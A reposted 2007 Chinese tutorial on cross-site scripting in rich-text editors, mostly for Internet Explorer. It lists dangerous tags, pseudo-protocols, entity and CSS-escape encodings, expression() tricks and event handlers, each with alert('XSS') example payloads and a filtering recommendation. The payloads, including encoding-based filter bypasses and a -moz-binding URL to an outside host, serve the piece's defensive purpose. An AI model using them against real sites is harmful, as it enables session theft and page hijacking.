发表文章 返回首页

黑客入门之富文本编辑器的跨站脚本问题

时间:2007-08-22 21:51来源: 作者:bitsCN整理 点击:
  

富文本编辑器是一个开放式的HTML内容编辑环境,必须实现文字样式、链接、图片等功能的HTML,所以用户POST的内容必须含有HTML标签,但是任由用户输入各类HTML标签,会造成一些潜在的恶意脚本攻击,借这类情况正好分析出现XSS的情况,主要针对IE浏览器.

54com.cn

一.首先是微软建议我们可能造成恶意脚本攻击的标签. feedom.net

类似如下的

feedom.net

tag: 54com.cn

applet
base  
basefont
bgsound
blink
body
embed
frame
frameset
head  
html  
ilayer
iframe
layer 
link    
meta   
object
style
title
script
网管网bitsCN.com

-----------------------------------
类似这类
中国网管论坛bbs.bitsCN.com

<tag

中国网管联盟www_bitscn_com

必须删除. 网管网bitsCN.com


二.针对HTML属性值的协议攻击.

中国网管联盟www.bitscn.com

tag:

中国网管联盟www、bitsCN、com

dynsrc=
href=
lowsrc=
src=
background=
value=
action=
bgsound= 中国网管联盟www、bitsCN、com

黑客可能利用如下协议: 网管联盟www.bitsCN.com

脚本伪协议 网管网bitsCN.com

vbscript:
javascript:

54ne.com

文件类协议

中国网管论坛bbs.bitsCN.com

ms-its:
mhtml:
data:

网管网bitsCN_com

第三方协议 54ne.com

firefoxurl:
mocha:
livescript: 网管联盟www.bitsCN.com

---------------------------------
类似这类

feedom.net

<xxx tag=xxx: 网管网bitsCN.com

如: 中国网管联盟www.bitscn.com

<IMG LOWSRC="javascript:alert('XSS')"> 中国网管联盟www.bitscn.com

必须判断属性的用的啥协议,给个http:就好了. 54com.cn


三.针对普通HTML属性值的编码,黑客可利用HTML特性将属性值做编码绕过过滤. 中国网管联盟www.bitscn.com

&# 加 ASCII格式 中国网管联盟www、bitsCN、com

<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>

54com.cn

<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>

中国网管联盟www_bitscn_com

<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29> 中国网管联盟www_bitscn_com

---------------------------------
类似这类

feedom.net

<xxx tag=&#

网管网bitsCN.com

必须判断属性的值&转换成 &amp;

54ne.com


四.css样式style属性问题. 中国网管联盟www.bitscn.com

<XSS STYLE="xss:expression(alert('XSS'))">
<XSS STYLE="behavior: url(xss.htc);">

中国网管联盟www_bitscn_com

style属性可以和任意字符的标签结合,因此不是<tag>的问题,必须对style属性值做过滤.

中国网管联盟www、bitsCN、com

behavior需指定域内也就是绝对路径的HTC文件,危害不大.

中国网管联盟www、bitsCN、com

expression可以构造不同的全角字符和注释符来扰乱过滤规则.

中国网管联盟www、bitsCN、com

如:

54ne.com

<XSS STYLE="xss:expr/*XSS*/ession(alert('XSS'))"> 网管网bitsCN.com

<XSS STYLE="xss:exprEssion(alert('XSS'))">

54com.cn

<div style="{ left:expression( alert('xss') ) }">

网管网bitsCN.com

---------------------------------
类似这类 中国网管联盟www、bitsCN、com

<xxx style="xxxxxxxxxx" 网管网bitsCN_com

必须判断style属性的值, :( ~这里正则超级难写,实在不过滤的话,列个白名单,只允许某些值. 54com.cn


五.css样式style属性其他问题.

中国网管联盟www_bitscn_com

<DIV STYLE="background-image: url(javascript:alert('XSS'))">

网管网bitsCN.com

<DIV STYLE="list-style-image: url("javascript:alert('XSS')"> 网管联盟www.bitsCN.com

<DIV style="-moz-binding:url(http://xxx.com/mozxss.xml#xss)"> 网管网bitsCN_com

---------------------------------
类似这类

中国网管联盟www_bitscn_com

<xxx style="xxxxxxx:url(xxxxx)" 网管网bitsCN_com

还是判断协议头之类吧.

网管网bitsCN_com


六.针对普通style属性值的编码,黑客可利用HTML特性将属性值做编码绕过过滤. 网管网bitsCN.com

转义字符\ 加 16进制格式

中国网管联盟www、bitsCN、com

<DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029">

feedom.net


---------------------------------
类似这类 中国网管论坛bbs.bitsCN.com

<xxx style="xxxxxxx:\00xx\00xx" 中国网管联盟www_bitscn_com

搞个正则过滤\+数字的字符串.

54com.cn


七.针对正常标签组合事件触发脚本的问题. 54ne.com

黑客可以利用类似事件触发脚本:

中国网管联盟www.bitscn.com

onload
onerror
onmousemove
onmouseout
onmouseover
onmouseup
onmouseenter
onmouseleave
onmousewheel
onscroll
....................................

中国网管联盟www.bitscn.com

类似这类 feedom.net

<xxx on*= 54com.cn

如: 54ne.com

<img src=xx onerror=alert(/xss/)>

中国网管联盟www、bitsCN、com

情况都给过滤吧. 网管联盟www.bitsCN.com


八.第三方媒体文件,崭只针对FLASH与WEB交互的问题.

54ne.com

FLASH的Action Script比较危险,可以和用户做交互式的访问.

中国网管论坛bbs.bitsCN.com

可以设置Flash对象的AllowScriptAccess参数为never来解决问题。 54com.cn

AllowScriptAccess 参数有三个可选值,always、never 和 sameDomain 中国网管联盟www.bitscn.com

never 禁止运行对外脚本
always 可以运行对外脚本
sameDomain 只允许同一域下的Flash运行对外脚本 中国网管论坛bbs.bitsCN.com


<embed src="demo.swf" quality="high"
pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" width="550" height="400" AllowScriptAccess="never"></embed>

中国网管联盟www.bitscn.com

 

网管网bitsCN_com

 
顶一下
(0)
0%
踩一下
(0)
0%
------分隔线----------------------------
最新评论 查看所有评论
发表评论 查看所有评论
请自觉遵守互联网相关的政策法规,严禁发布色情、暴力、反动的言论。
评价:
表情:
用户名: 密码: 验证码:
推荐内容
  • 整理一些ROOTKIT的资料

    List: 一,前言 二,简介 三,rootkit的一些以公开的隐藏技术 四,一些隐藏技术的应对方...

  • 关于跨域蠕虫的存在

    这几天分析了几个大网站的XSSlt;iframe src=http://www.0×37.com/Project/csrf/do.as...

  • JSP+Oracle SQL Injection之旅

    SQL Injection可谓是长盛不衰的话题了,从ASP+MSSQL到PHP+MYSQL,一路走来也可谓是一...

  • 简述Radmin软件提权技巧

    最近做渗透测试时常碰到RADMIN一类的东西.. 一碰到此类的程序,一般我都会先看下对方把...

  • 简单认识Anti-RootKit

    在RK(rootkit)和ARK(anti-rootkit)的斗争已经进行了很久,在印象中最早出来的ARK工...

  • ASP数据库插马小议

    ASP数据库插马小议 By lake2 ( http://lake2.0x54.org ) 随着技术的发展,ASP数据库...